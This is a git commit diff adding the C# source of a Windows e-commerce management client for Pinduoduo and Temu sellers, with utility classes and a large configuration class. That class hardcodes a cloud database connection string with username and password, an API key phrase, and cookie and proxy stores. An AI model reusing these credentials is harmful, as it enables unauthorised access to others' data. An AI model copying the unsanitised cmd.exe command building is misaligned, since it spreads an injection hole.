commit 4aaf264e891d9c53479fb6ffc1e7800579dfdba9 Author: wule Date: Sun Jun 29 19:38:31 2025 +0800 temu客户端程序 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..9a09230 --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +.vs +.svn +Bin +NotUse +obj +.psd \ No newline at end of file diff --git a/AllBase/AdslHelper.cs b/AllBase/AdslHelper.cs new file mode 100644 index 0000000..95bb6b2 --- /dev/null +++ b/AllBase/AdslHelper.cs @@ -0,0 +1,88 @@ +using System.Diagnostics; + + +namespace AllBase +{ + public class AdslHelper + { + /// + /// 宽带名称 + /// + public static string Name; + /// + /// 宽带名称 + /// + public static string User; + /// + /// 宽带名称 + /// + public static string Pass; + /// + /// 宽带名称 + /// + public AdslHelper() + { + } + /// + /// 初始化 + /// + /// + /// + /// + public AdslHelper(string name, string user, string pass) + { + Name = name; + User = user; + Pass = pass; + } + + /// + /// 链接 + /// + /// + /// + public void Connect(string user, string pass) + { + string arg = string.Format("rasdial \"{0}\" {1} {2}", Name, user, pass); + InvokeCmd(arg); + } + + /// + /// 链接 + /// + public bool Connect() + { + string arg = string.Format("rasdial \"{0}\" {1} {2}", Name, User, Pass); + string result = InvokeCmd(arg); + if (result.Contains("已连接")|| result.Contains("已经连接")) + return true; + return false; + } + /// + /// 关闭链接 + /// + public bool Disconnect() + { + string arg = string.Format("rasdial \"{0}\" /disconnect", Name); + string result=InvokeCmd(arg); + if (result.Contains("命令已完成")) + return true; + return false; + } + public static string InvokeCmd(string cmdArgs) + { + Process p = new Process(); + p.StartInfo.FileName = "cmd.exe"; + p.StartInfo.UseShellExecute = false; + p.StartInfo.RedirectStandardInput = true; + p.StartInfo.RedirectStandardOutput = true; + p.StartInfo.RedirectStandardError = true; + p.StartInfo.CreateNoWindow = true; + p.Start(); + p.StandardInput.WriteLine(cmdArgs); + p.StandardInput.WriteLine("exit"); + return p.StandardOutput.ReadToEnd(); + } + + } +} diff --git a/AllBase/AllBase.csproj b/AllBase/AllBase.csproj new file mode 100644 index 0000000..ef53180 --- /dev/null +++ b/AllBase/AllBase.csproj @@ -0,0 +1,249 @@ + + + + + + + + Debug + AnyCPU + 8.0.30703 + 2.0 + {6461D807-B1C8-45F0-B388-E0CA1A418DE0} + Library + Properties + AllBase + AllBase + v4.5.2 + 512 + + + + + + + true + ..\bin\ + DEBUG;TRACE + true + full + x86 + ..\bin\AllBase.dll.CodeAnalysisLog.xml + true + GlobalSuppressions.cs + prompt + MinimumRecommendedRules.ruleset + ;D:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\\Rule Sets + ;D:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\FxCop\\Rules + false + false + false + false + + + ..\bin\ + true + true + pdbonly + x86 + ..\bin\AllBase.dll.CodeAnalysisLog.xml + true + GlobalSuppressions.cs + prompt + MinimumRecommendedRules.ruleset + ;D:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\\Rule Sets + ;D:\Program Files (x86)\Microsoft Visual Studio 10.0\Team Tools\Static Analysis Tools\FxCop\\Rules + false + false + false + false + + + true + ..\bin\ + DEBUG;TRACE + true + full + AnyCPU + false + prompt + MinimumRecommendedRules.ruleset + false + + + ..\bin\ + true + true + pdbonly + AnyCPU + false + prompt + MinimumRecommendedRules.ruleset + false + + + true + bin\x64\Debug\ + DEBUG;TRACE + true + full + x64 + false + 7.3 + prompt + MinimumRecommendedRules.ruleset + false + + + bin\x64\Release\ + true + true + pdbonly + x64 + false + 7.3 + prompt + MinimumRecommendedRules.ruleset + false + + + + ..\DllReference\DevComponents.DotNetBar2.dll + + + False + ..\DllReference\NaiBa.Util.dll + + + ..\packages\Newtonsoft.Json.9.0.1\lib\net45\Newtonsoft.Json.dll + True + + + + + False + ..\DllReference\System.Data.SQLite.DLL + + + + + + + + + + False + ..\DllReference\zxing.dll + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + True + True + Resources.resx + + + + + + + + + + + + + + Component + + + + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + + + + + + + + 这台计算机上缺少此项目引用的 NuGet 程序包。使用“NuGet 程序包还原”可下载这些程序包。有关更多信息,请参见 http://go.microsoft.com/fwlink/?LinkID=322105。缺少的文件是 {0}。 + + + + + + + + + + + + \ No newline at end of file diff --git a/AllBase/AllBase.csproj.user b/AllBase/AllBase.csproj.user new file mode 100644 index 0000000..1777006 --- /dev/null +++ b/AllBase/AllBase.csproj.user @@ -0,0 +1,9 @@ + + + + false + + + ShowAllFiles + + \ No newline at end of file diff --git a/AllBase/AutoSizeFormClass.cs b/AllBase/AutoSizeFormClass.cs new file mode 100644 index 0000000..35f624c --- /dev/null +++ b/AllBase/AutoSizeFormClass.cs @@ -0,0 +1,112 @@ +using System; +using System.Collections.Generic; +using System.Text; +using System.Windows.Forms; + +namespace AllBase +{ + public class AutoSizeFormClass + { + //(1).声明结构,只记录窗体和其控件的初始位置和大小。 + public struct controlRect + { + public int Left; + public int Top; + public int Width; + public int Height; + } + //(2).声明 1个对象 + //注意这里不能使用控件列表记录 List nCtrl;,因为控件的关联性,记录的始终是当前的大小。 + // public List oldCtrl= new List();//这里将西文的大于小于号都过滤掉了,只能改为中文的,使用中要改回西文 + public List oldCtrl = new List(); + int ctrlNo = 0;//1; + //(3). 创建两个函数 + //(3.1)记录窗体和其控件的初始位置和大小, + public void controllInitializeSize(Control mForm) + { + controlRect cR; + cR.Left = mForm.Left; cR.Top = mForm.Top; cR.Width = mForm.Width; cR.Height = mForm.Height; + oldCtrl.Add(cR);//第一个为"窗体本身",只加入一次即可 + AddControl(mForm);//窗体内其余控件还可能嵌套控件(比如panel),要单独抽出,因为要递归调用 + //this.WindowState = (System.Windows.Forms.FormWindowState)(2);//记录完控件的初始位置和大小后,再最大化 + //0 - Normalize , 1 - Minimize,2- Maximize + } + private void AddControl(Control ctl) + { + foreach (Control c in ctl.Controls) + { //**放在这里,是先记录控件的子控件,后记录控件本身 + //if (c.Controls.Count > 0) + // AddControl(c);//窗体内其余控件还可能嵌套控件(比如panel),要单独抽出,因为要递归调用 + controlRect objCtrl; + objCtrl.Left = c.Left; objCtrl.Top = c.Top; objCtrl.Width = c.Width; objCtrl.Height = c.Height; + oldCtrl.Add(objCtrl); + //**放在这里,是先记录控件本身,后记录控件的子控件 + if (c.Controls.Count > 0) + AddControl(c);//窗体内其余控件还可能嵌套控件(比如panel),要单独抽出,因为要递归调用 + } + } + //(3.2)控件自适应大小, + public void controlAutoSize(Control mForm) + { + if (ctrlNo == 0) + { //*如果在窗体的Form1_Load中,记录控件原始的大小和位置,正常没有问题,但要加入皮肤就会出现问题,因为有些控件如dataGridView的的子控件还没有完成,个数少 + //*要在窗体的Form1_SizeChanged中,第一次改变大小时,记录控件原始的大小和位置,这里所有控件的子控件都已经形成 + controlRect cR; + // cR.Left = mForm.Left; cR.Top = mForm.Top; cR.Width = mForm.Width; cR.Height = mForm.Height; + cR.Left = 0; cR.Top = 0; cR.Width = mForm.PreferredSize.Width; cR.Height = mForm.PreferredSize.Height; + + oldCtrl.Add(cR);//第一个为"窗体本身",只加入一次即可 + AddControl(mForm);//窗体内其余控件可能嵌套其它控件(比如panel),故单独抽出以便递归调用 + } + float wScale = (float)mForm.Width / (float)oldCtrl[0].Width;//新旧窗体之间的比例,与最早的旧窗体 + float hScale = (float)mForm.Height / (float)oldCtrl[0].Height;//.Height; + ctrlNo = 1;//进入=1,第0个为窗体本身,窗体内的控件,从序号1开始 + AutoScaleControl(mForm, wScale, hScale);//窗体内其余控件还可能嵌套控件(比如panel),要单独抽出,因为要递归调用 + } + private void AutoScaleControl(Control ctl, float wScale, float hScale) + { + int ctrLeft0, ctrTop0, ctrWidth0, ctrHeight0; + //int ctrlNo = 1;//第1个是窗体自身的 Left,Top,Width,Height,所以窗体控件从ctrlNo=1开始 + foreach (Control c in ctl.Controls) + { //**放在这里,是先缩放控件的子控件,后缩放控件本身 + //if (c.Controls.Count > 0) + // AutoScaleControl(c, wScale, hScale);//窗体内其余控件还可能嵌套控件(比如panel),要单独抽出,因为要递归调用 + ctrLeft0 = oldCtrl[ctrlNo].Left; + ctrTop0 = oldCtrl[ctrlNo].Top; + ctrWidth0 = oldCtrl[ctrlNo].Width; + ctrHeight0 = oldCtrl[ctrlNo].Height; + //c.Left = (int)((ctrLeft0 - wLeft0) * wScale) + wLeft1;//新旧控件之间的线性比例 + //c.Top = (int)((ctrTop0 - wTop0) * h) + wTop1; + c.Left = (int)((ctrLeft0) * wScale);//新旧控件之间的线性比例。控件位置只相对于窗体,所以不能加 + wLeft1 + c.Top = (int)((ctrTop0) * hScale);// + c.Width = (int)(ctrWidth0 * wScale);//只与最初的大小相关,所以不能与现在的宽度相乘 (int)(c.Width * w); + c.Height = (int)(ctrHeight0 * hScale);// + ctrlNo++;//累加序号 + //**放在这里,是先缩放控件本身,后缩放控件的子控件 + if (c.Controls.Count > 0) + AutoScaleControl(c, wScale, hScale);//窗体内其余控件还可能嵌套控件(比如panel),要单独抽出,因为要递归调用 + + if (ctl is DataGridView) + { + DataGridView dgv = ctl as DataGridView; + Cursor.Current = Cursors.WaitCursor; + + int widths = 0; + for (int i = 0; i < dgv.Columns.Count; i++) + { + dgv.AutoResizeColumn(i, DataGridViewAutoSizeColumnMode.AllCells); // 自动调整列宽 + widths += dgv.Columns[i].Width; // 计算调整列后单元列的宽度和 + } + if (widths >= ctl.Size.Width) // 如果调整列的宽度大于设定列宽 + dgv.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.DisplayedCells; // 调整列的模式 自动 + else + dgv.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.Fill; // 如果小于 则填充 + + Cursor.Current = Cursors.Default; + } + } + + + } + } +} diff --git a/AllBase/Base64Encode.cs b/AllBase/Base64Encode.cs new file mode 100644 index 0000000..cc176b8 --- /dev/null +++ b/AllBase/Base64Encode.cs @@ -0,0 +1,76 @@ +using System; +using System.Text; + +namespace AllBase +{ + + /// + /// 实现Base64加密解密 + /// 作者:周公 + /// 时间:2007 + /// + public static class Base64Encode + { + /// + /// Base64加密 + /// + /// 加密采用的编码方式 + /// 待加密的明文 + /// + public static string EncodeBase64(Encoding encode, string source) + { + byte[] bytes = encode.GetBytes(source); + try + { + string code = Convert.ToBase64String(bytes); + return code; + } + catch + { + return source; + } + + } + + /// + /// Base64加密,采用utf8编码方式加密 + /// + /// 待加密的明文 + /// 加密后的字符串 + public static string EncodeBase64(string source) + { + return EncodeBase64(Encoding.UTF8, source); + } + + /// + /// Base64解密 + /// + /// 解密采用的编码方式,注意和加密时采用的方式一致 + /// 待解密的密文 + /// 解密后的字符串 + public static string DecodeBase64(Encoding encode, string result) + { + string decode = ""; + byte[] bytes = Convert.FromBase64String(result); + try + { + decode = encode.GetString(bytes); + } + catch + { + decode = result; + } + return decode; + } + + /// + /// Base64解密,采用utf8编码方式解密 + /// + /// 待解密的密文 + /// 解密后的字符串 + public static string DecodeBase64(string result) + { + return DecodeBase64(Encoding.UTF8, result); + } + } +} diff --git a/AllBase/BaseClass.cs b/AllBase/BaseClass.cs new file mode 100644 index 0000000..84c71fa --- /dev/null +++ b/AllBase/BaseClass.cs @@ -0,0 +1,1112 @@ +/* + * 主要基类 + * 肖俊 + * 2012-5-9 + */ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Security.Cryptography; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; +using System.Windows.Forms; + +namespace AllBase +{ + public static class BaseClass + { + #region oem贴牌参数 + public static string AgentCode { get; set; } = ""; + public static bool IsShowRegister { get; set; } = true; + public static bool IsShowOpenAccount { get; set; } = true; + #endregion + + /// + /// 版本ID + /// + public static int VersionCount = 356; + + /// + /// 版本号 + /// + public static string Varsion = (VersionCount / 100.0).ToString("f2"); + public static string WebbrowerUrl = ""; + public static string ToolName = "跨境达-管理工具"; + public static string AgentName = "跨境达"; + public static string ServiceQQ = ""; + public static Image LoginImage = null; + public static Image LogoImage = null; + public static Icon Ico = null; + public static string MainPath = "kuajingda"; + public static bool NoRegedit = false; + public static bool IsPinduoduo = false; + public static bool UserApi = true; + public static bool GroupMarket = false; + /// + /// IP地址和名称 + /// + public static string IPAddress = ""; + public static string IPAddressName = ""; + /// + /// 优先使用API + /// + public static bool UseApiFirst = false; + public static string PddUid = ""; + + /// + /// 启用新版签名验证算法 + /// + public static bool NewSignatureAuth = true; + + public static string IeFormCookies = ""; + /// + /// 订单开始时间 + /// + public static DateTime OrderBeginTime = DateTime.Now.AddDays(-60); + /// + /// 用于判断唯一性 + /// + public static Dictionary Products = new Dictionary(); + /// + /// 用于循环输出 + /// + public static List ProductUse = new List(); + /// + /// 进度条矩阵 + /// + public static Dictionary ProcessList = new Dictionary(); + /// + /// 上传过的 + /// + public static List ProductIds = new List(); + //public static int MaxValue, MinValue, ThisValue; + public static bool GetProductsSuccess = false; + + public static bool SetProductView = false; + public static int TempSecond = 86400; + + public static string OriginUrl = "http://mobile.yangkeduo.com"; + public static string NewUrl = "https://yangkeduo.com"; + public static string ServerUrl = "http://localhost:8000"; + /// + /// 订单监控延迟 + /// + public static int OrderStep = 5; + public static int RankPage = 3; + public static int Balance = 0; + /// + /// 采集最低销量 + /// + public static int MinSales = 0; + public static int MinPercent = 0; + public static int MinLevel = 0; + public static int AlimamaPageCount = 0; + public static bool CloudTitle = false; + public static bool CloudBrand = false; + public static bool CloudSellerNick = false; + public static bool CloudProduct = false; + public static string NoKeyword = ""; + public static bool ImageSheild = true; + public static string Conn = "Max Pool Size = 512;Database='content';Data Source='sh-cdbrg-b674qssm.sql.tencentcdb.com';Port=62300;User Id='pinbaobao_user';Password='pinbaobao_pass_word123ZFd-';Charset=gbk;"; + public static decimal MaxPrice = 0; + public static decimal MinPrice = 0; + public static decimal MinBackMoney = 0; + public static decimal Price = 5; + public static int TimeOut = 30; + public static int ThreadCount = 3; + public static int MainCatId = 0; + public static int GroupId = 0; + public static bool DarenYaoyue = false; + public static bool DyProductCollect = false; + public static bool IsCloudBuyOrder = false; + /// + /// 所在企业ID + /// + public static int CompanyId = 0; + /// + /// 企业名称 + /// + public static string CompanyName = ""; + /// + /// 到期时间 + /// + public static string EndDate = ""; + /// + /// 开户到期时间 + /// + public static string OpenEndDate = ""; + public static string ExpressSite = "http://shisilou.6677kb.com/"; + /// + /// 图片API + /// + //public static string LoginApiUrl = "http://new.qixiaoke.com/"; + public static string LoginApiUrl = "http://localhost:8000"; + public static string BigDataApiUrl = "http://bigdata.qixiaoke.com/"; + public static string GateApi = ""; + public static string QqGroupNum = ""; + public static string QqGroupUrl = ""; + public static string WechatUrl = ""; + public static string IeUrlShow = ""; + public static string AlimamaDomain = ""; + public static string AlimamaPid = ""; + public static string FissionPicUrl = "https://img1.deifei.com/upload_xnn.php"; + /// + /// 店铺旺旺名 + /// + public static string ShopName = ""; + public static string ShopId = ""; + public static string AccessToken = ""; + /// + /// 拼多多店铺ID + /// + public static int MallId = 0; + public static DateTime LoginTime = DateTime.Now; + public static int ReceiverId = 0; + //public static string TbTokenUrl = ""; + public static string NewCookies = ""; + public static bool MustGetShopInfo = false; + public static bool MustGetFormAlive = false; + public static string ChromeChatHtml = ""; + public static string ChromeUserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"; + public const string AndroidUserAgent = "android Mozilla/5.0 (Linux; Android 6.0.1; MuMu Build/V417IR; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.100 Mobile Safari/537.36 phh_android_version/4.70.0 phh_android_build/f92e2036701996362fb6f938b7f085b01695de5d phh_android_channel/gw_pc"; + public static string ChromeCookies = ""; + public static string ChromeJinBaoCookies = ""; + public static bool IsMainCompany = false; + /// + /// 当前所有cookies + /// + public static Dictionary> CookiesAll = new Dictionary>(); + /// + /// 对应多个店铺的所有cookies + /// + public static Dictionary> MulitCookiesAll = new Dictionary>(); + /// + /// 对应多个店铺的所有cookies字符串 + /// + public static Dictionary> MulitCookiesAllString = new Dictionary>(); + /// + /// 当前所有cookies对应字符串 + /// + public static Dictionary CookiesAllString = new Dictionary(); + /// + /// API接口是否可用 + /// + public static bool ApiCanUse = false; + /// + /// 启用昨日订单 + /// + public static bool OrderYesterday = false; + /// + /// 店铺名 + /// + public static string ShopNameString = ""; + /// + /// 店铺网址 + /// + public static string ShopUrl = ""; + /// + /// 1:正在获取token,2:结束,3:执行,0:空闲 + /// + //public static int TbTokenGeting = 0; + /// + /// 代理列表 + /// + public static List Proxy = new List(); + /// + /// 标题中不能包含的词 + /// + public static List CantTitleKeywords = new List(); + /// + /// 不能使用的分类 + /// + public static List CantCatId = new List(); + /// + /// 不能使用的标题 + /// + public static List CantTitle = new List(); + /// + /// 不能使用的品牌 + /// + public static List CantBrand = new List(); + + public static string x5Sec = ""; + /// + /// 所有违规上家Id + /// + public static List UpIds = new List(); + + public static string HadNoteId = ""; + /// + /// 网址正则 + /// + public static string LinkRegex = @"]*href[\s]*=[\s]*[""']{0,1}([^\s^>^""^']*)[^>]*>(.*?)"; + /// + /// 网址正则 + /// + public static string LinkRegexOut = @"]*href[\s]*=[\s]*[""']{0,1}(http[s]*://[^\s^>^""^']*)[^>]*>(.*?)"; + /// + /// Api对接密码 + /// + public static string ApiKeyword = "xiaojun&find_gold_cat"; + /// + /// 接口缓存信息 + /// + public static string UserAgent = null; + /// + /// 接口缓存信息 + /// + public static string ViewCode = null; + /// + /// 百度权重缓存信息 + /// + public static string ViewCodex = null; + /// + /// 是否暂停 + /// + public static bool IsStop = false; + /// + /// 是否测试 + /// + public static bool IsTest = false; + /// + /// 是否正在执行 + /// + public static bool IsRunning = false; + /// + /// 权重更新时间 + /// + public static int TimeBaiduRank = 0; + /// + /// 排名更新时间 + /// + public static int TimeKeywordRank = 0; + /// + /// 时间差 + /// + public static int TimeDifferent = 0; + /// + /// 硬件信息 + /// + public static string MacInfo = ""; + /// + /// 注册用户名 + /// + public static string UserName = ""; + /// + /// 注册昵称 + /// + public static string NickName = ""; + public static string Mobile = ""; + public static string ClientId = ""; + public static List ClientIdx = new List(); + /// + /// 安全接口 + /// + public static List ClientIdSave = new List(); + public static string ApiKey = ""; + public static string ApiKeyx = ""; + /// + /// 代理权限 + /// + public static Dictionary AgentAuth = new Dictionary(); + /// + /// 注册用户名 + /// + public static int UserId = 0; + /// + /// 注册用户名 + /// + public static int UserKey = 0; + /// + /// 注册用户名 + /// + public static int SiteBuildThreadCount = 0; + /// + /// 用户版本 99:拼多多测试版,100,定制版 + /// + public static int UserVersion = 0; + /// + /// 注册用户名 + /// + public static string UserVersionString = ""; + /// + /// 注册密码 + /// + public static string PassWord = ""; + public static string PassWordBak = ""; + /// + /// 间隔时间 + /// + public static int WaitTime = 300; + + /// + /// 注册密码 + /// + public static string LogPatch = ""; + + + public static bool Remember = false; + public static bool AutoLogin = false; + /// + /// 获取数据库链接 + /// + /// + //public static string GetDataString() + //{ + // if (IsMysqlDataBase) + // { + // return "Max Pool Size = 512;Database='" + DataBase + "';Data Source='" + DataIp + + // "';Port=3306;User Id='" + DataUser + "';Password='" + DataPass + "';Charset=gbk;"; + // } + // return "server=" + DataIp + ";database=" + DataBase + ";uid=" + DataUser + ";pwd=" + DataPass; + + //} + + /// + /// 接口程序 + /// + public static List ApiList = new List(); + /// + /// 国内代理列表 + /// + public static List ProxyIn = new List(); + /// + /// 美国代理列表 + /// + public static List ProxyOut = new List(); + /// + /// 美国代理列表 + /// + public static List ProxyHttps = new List(); + /// + /// 指数代理列表 + /// + public static List IpChangeList = new List(); + + /// + /// CPU使用率 + /// + public static int CpuUser = 0; + /// + /// CPU温度 + /// + public static int CpuTemperature = 0; + /// + /// 数据库正在执行线程数 + /// + public static int DataUpdateThread = 0; + + public static string ImageApiUrl = LoginApiUrl + "index.php?obj=api/image"; + + /// + /// 产品公告内容 + /// + public static string Annoucement = string.Empty; + + /// + /// 是否显示公告 + /// + public static bool Announce = true; + + /// + /// 是否显示视频指南 + /// + public static bool ShowVideoGuidance = true; + + /// + /// CPU使用率更新线程 + /// + public static void UpdateCpuThread() + { + PerformanceCounter CpuCounter = new PerformanceCounter("Processor", "% Processor Time", "_Total"); + int i; + double all; + while (true) + { + all = 0; + for (i = 1; i < 6; i++) + { + all += CpuCounter.NextValue(); + Thread.Sleep(50); + } + CpuUser = (int)all / i; + } + } + + /// + /// 计算字节长度 + /// + /// + /// + public static int GetCharLength(string word) + { + if (string.IsNullOrEmpty(word)) + return 0; + return Encoding.GetEncoding("gbk").GetBytes(word).Length; + } + /// + /// 返回固定字节长度 + /// + /// + /// + /// + public static string SubCharLength(string word, int len) + { + if (string.IsNullOrEmpty(word)) + return word; + word = word.Trim(); + word = word.Replace("..", ".").Replace("..", "."); + word = word.Replace(" ", " ").Replace(" ", " "); + if (GetCharLength(word) <= len) + return word; + while (GetCharLength(word) > len) + { + word = word.Substring(0, word.Length - 1); + } + return word; + } + /// + /// 判断字符串是否为汉字 by ttzhao 2020.9.25 + /// + /// + /// + /// + public static bool IsChinese(string str, bool allMatch) + { + string pattern; + if (allMatch) + pattern = @"^[\u4e00-\u9fa5]+$"; + else + pattern = @"[\u4e00-\u9fa5]"; + if (Regex.IsMatch(str, pattern)) + return true; + else + return false; + } + /// + /// 获取字符串长度:其中,1个汉字占两个字符的情况 by ttzhao 2020.9.25 + /// + /// + /// + public static int GetStrLength(string str) + { + int sum = 0; + for (int i = 0; i < str.Length; i++) + { + bool isChs = IsChinese(str[i].ToString(), true); + if (isChs) + sum += 2; + else + sum += 1; + } + return sum; + } + + /// + /// C#格式时间转换为Unix时间戳(秒) + /// + /// + /// + public static int DateTimeToTimestampSeconds(DateTime time) + { + System.DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new System.DateTime(1970, 1, 1)); + return (int)(time - startTime).TotalSeconds; + } + + /// + /// C#格式时间转换为Unix时间戳(毫秒) + /// + /// + /// + public static long DateTimeToTimestampMilliseconds(DateTime time) + { + System.DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new System.DateTime(1970, 1, 1)); + return (long)(time - startTime).TotalMilliseconds; + } + + /// + /// Unix时间戳(秒)转为C#格式时间 + /// + /// + /// + public static DateTime StampToDateTime(int timeStamp) + { + DateTime dateTimeStart = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1)); + long lTime = long.Parse(timeStamp + "0000000"); + TimeSpan toNow = new TimeSpan(lTime); + return dateTimeStart.Add(toNow); + } + /// + /// 获取服务器的精准时间 + /// + /// + public static DateTime GetServerTimeString() + { + int time = GetTime(); + DateTime t = StampToDateTime(time); + return t; + } + /// + /// 获取服务器的精准时间 + /// + /// + public static string GetServerTimeString(int addSecond) + { + int time = GetTime() + addSecond; + DateTime t = StampToDateTime(time); + return t.ToString("yyyy-MM-dd HH:mm:ss"); + } + + /// + /// 设置粘贴板 + /// + /// + public static void SetClipboard(string message) + { + try + { + Clipboard.SetDataObject(message); + } + catch + { + } + } + /// + /// 获取绝对时间 + /// + /// + public static int GetTime() + { + return DateTimeToTimestampSeconds(DateTime.Now) + TimeDifferent; + } + /// + /// 获取绝对时间 + /// + /// + public static int GetTime(DateTime t) + { + return DateTimeToTimestampSeconds(t) + TimeDifferent; + } + /// + /// MD5加密 + /// + /// + /// + public static string GetMd5(string instring) + { + byte[] result = Encoding.UTF8.GetBytes(instring.Trim()); + MD5 md5 = new MD5CryptoServiceProvider(); + byte[] output = md5.ComputeHash(result); + return BitConverter.ToString(output).Replace("-", ""); + } + /// + /// MD5加密 + /// + /// + public static string GetMd5(byte[] result) + { + MD5 md5 = new MD5CryptoServiceProvider(); + byte[] output = md5.ComputeHash(result); + return BitConverter.ToString(output).Replace("-", ""); + } + + /// + /// MD5加密 + /// + /// + public static long GetLong(byte[] result) + { + return + Convert.ToInt64( + BitConverter.ToString(new MD5CryptoServiceProvider().ComputeHash(result), 4, + 8).Replace("-", ""), 16); + } + + /// + /// MD5 16位加密转long + /// + /// + /// + public static long GetLong(string url) + { + if (string.IsNullOrEmpty(url)) + return 0; + return Convert.ToInt64(BitConverter.ToString(new MD5CryptoServiceProvider().ComputeHash(Encoding.Default.GetBytes(url)), 4, 8).Replace("-", ""), 16); + } + /// + /// 返回表ID + /// + /// + /// + public static int GetTableId(long id) + { + return (int)Math.Abs(id % 1024); + } + + /// + /// 签名算法 + /// + /// 随机数 + /// 加密签名结果 + public static string Encryption(int s) + { + string ss = s.ToString(); + if (ss.Length > 8) + { + ss = ss.Substring(ss.Length - 8); + s = int.Parse(ss); + if (s < 100000000) + s += 100000000; + } + byte[] kb = Encoding.ASCII.GetBytes(s.ToString()); + double y = s * 1.8061825125; + y += 4852095.48659959; + y += kb[3] * 943579.486548; + y += kb[7] + 4889894.30184; + byte[] k = Encoding.ASCII.GetBytes(y.ToString()); + y -= 458735.48548; + y -= k[6] * 458720.454545; + y -= k[2] * 5447826.96889; + byte[] k1 = Encoding.ASCII.GetBytes(y.ToString()); + y += 34779810.2455; + y -= k1[1] * 57942.0564845; + y -= k1[5] * 1548.487866; + string c = ((int)y).ToString(); + return GetMd5(c); //返回签名的MD5结果 + } + /// + /// 生成OBJ路径 + /// + /// + /// + public static string BuildObjString(string file, bool IsLoginDef = false) + { + //if (IsLoginDef) + //{ + // return "http://new.taojinhu.com/" + "?obj=pinbaobao/" + file; + //} + //return LoginApiUrl + "index.php?obj=" + BaseClass.MainPath + "/" + file; + //http://localhost:8000/user/user_login + + return LoginApiUrl + "/" + file+ "?obj=" + BaseClass.MainPath + "/" + file; + } + /// + /// 净化数据OBJ路径生成 + /// + /// + /// + public static string BuildFissionObjString(string file) + { + var FessionBaseUrl = "http://m.qimake.cn/"; + var ObjFissionUrl = "obj=douyin/"; + return FessionBaseUrl + "?" + ObjFissionUrl + file; + } + } + + public class KeyValueBase + { + public KeyValueBase() { } + + public KeyValueBase(string key, string value) + { + Key = key; + Value = value; + } + public KeyValueBase(string key, string value, string cat) + { + Key = key; + Value = value; + CatName = cat; + } + + public string Key; + public string Value; + /// + /// 店铺ID + /// + public string Id = ""; + public string CatName = ""; + } + + public class KeyValuesBase + { + public KeyValuesBase(string key, string value1) + { + Key = key; + Value1 = value1; + } + public KeyValuesBase(string key, string value1, string value2, string value3) + { + Key = key; + Value1 = value1; + Value2 = value2; + Value3 = value3; + } + public KeyValuesBase(string key, string value1, string value2, string value3, string value4) + { + Key = key; + Value1 = value1; + Value2 = value2; + Value3 = value3; + Value4 = value4; + } + public KeyValuesBase(string key, string value1, string value2) + { + Key = key; + Value1 = value1; + Value2 = value2; + } + + public string Key; + public string Value1; + public string Value2; + public string Value3; + public string Value4; + + public int Rank = 0; + } + + public class CatProudctBase + { + public int CatId = 0; + public Dictionary Products = new Dictionary(); + } + + public class MarketProductBase + { + public string ProductId = ""; + public string Title = ""; + public string CatIds = ""; + public string Image = ""; + public string CampaignId = ""; + public string Token = ""; + } + + public class ProcessBase + { + public int Min = 0; + public int Max = 0; + public int Value = 0; + } + + public class ProductBase + { + public long Id; + public long UpId; + public string Title; + public string OuterId; + public decimal Price; + public bool HadFastCar = false; + /// + /// 需要上传 + /// + public bool MustUpdate = false; + + public int CatId = 0; + public int MainCatId = 0; + public DateTime SetTime = DateTime.Now.AddDays(-1); + public bool SetOk = false; + public string ShopName = ""; + public int SoldCount = 0; + public int onSale; + } + public class ProductTaoKeBase + { + public string Title = ""; + public long TaoKeId = 0; + public string TaoKeUrl = ""; + public long toId = 0; + public string taoBaoUrl = ""; + public string quanHou = ""; + public string yuanPrice = ""; + public string xiaoLiang = ""; + public string yongJin = ""; + public string youHuei = ""; + } + public class ProductMeiLiZhe + { + public long TaobaoId { get { long id = 0; long.TryParse(TaobaoIdStr, out id); return id; } } + public string TaobaoIdStr { get; set; } + public string ProductId { get; set; } + public string ProductName { get; set; } + public string SourceUrl { get; set; } + public string Url { get; set; } + public double Price { get { return Convert.ToDouble(PriceStr); } } + public string PriceStr { get; set; } + public double PriceWidthTicket { get { return Convert.ToDouble(PriceWidthTicketStr); } } + public string PriceWidthTicketStr { get; set; } + public double TicketPrice { get { return Convert.ToDouble(TicketPriceStr); } } + public string TicketPriceStr { get; set; } + public int SaleCount { get; set; } + /// + /// 前4位表示页码,后三位表示在该页面位置 + /// + public int PageOrder { get; set; } + } + public class ProductCollectBase + { + /// + /// 更新SKU是否成功 + /// + public bool UpdateSuccess = false; + /// + /// 是否预售 + /// + public bool IsPreSale = false; + /// + /// 是否在售 + /// + public bool IsOnSale = true; + + public bool UpToStock = false; + public long id = 0; + public int cat_id = 0; + public int main_cid = 0; + public string main_cat_name = ""; + public long mall_id = 0; + public int cat1 = 0; + public int cat2 = 0; + public int cat3 = 0; + public int cat4 = 0; + public long from_id = 0; + public int from_shop_id = 0; + public int from_cat_id = 0; + /// + /// 1:淘宝,2:拼多多,3:阿里巴巴,4:京喜,6:微店,7:抖音 + /// + public int from_site_id = 0; + public int item_weight = 1; + public int saleCount = 0; + public int num = 0; + public decimal price = -1; + public decimal before_price = -1; + public decimal discount = -1; + public decimal discountPrice = -1; + public decimal onlinePrice = -1; + public decimal market_price = 0; + public int shopAddPercent = 0; + public decimal shopAddPriceMin = 0; + public decimal shopAddPriceMax = 0; + public string image = ""; + public string image_path = ""; + public string image_from_url = ""; + public string from_name = ""; + public List fission_names = new List(); + public string name = ""; + public string name_share = ""; + public string content_pinduoduo = ""; + public string thumb_url_pinduoduo = ""; + public string hd_thumb_url_pinduoduo = 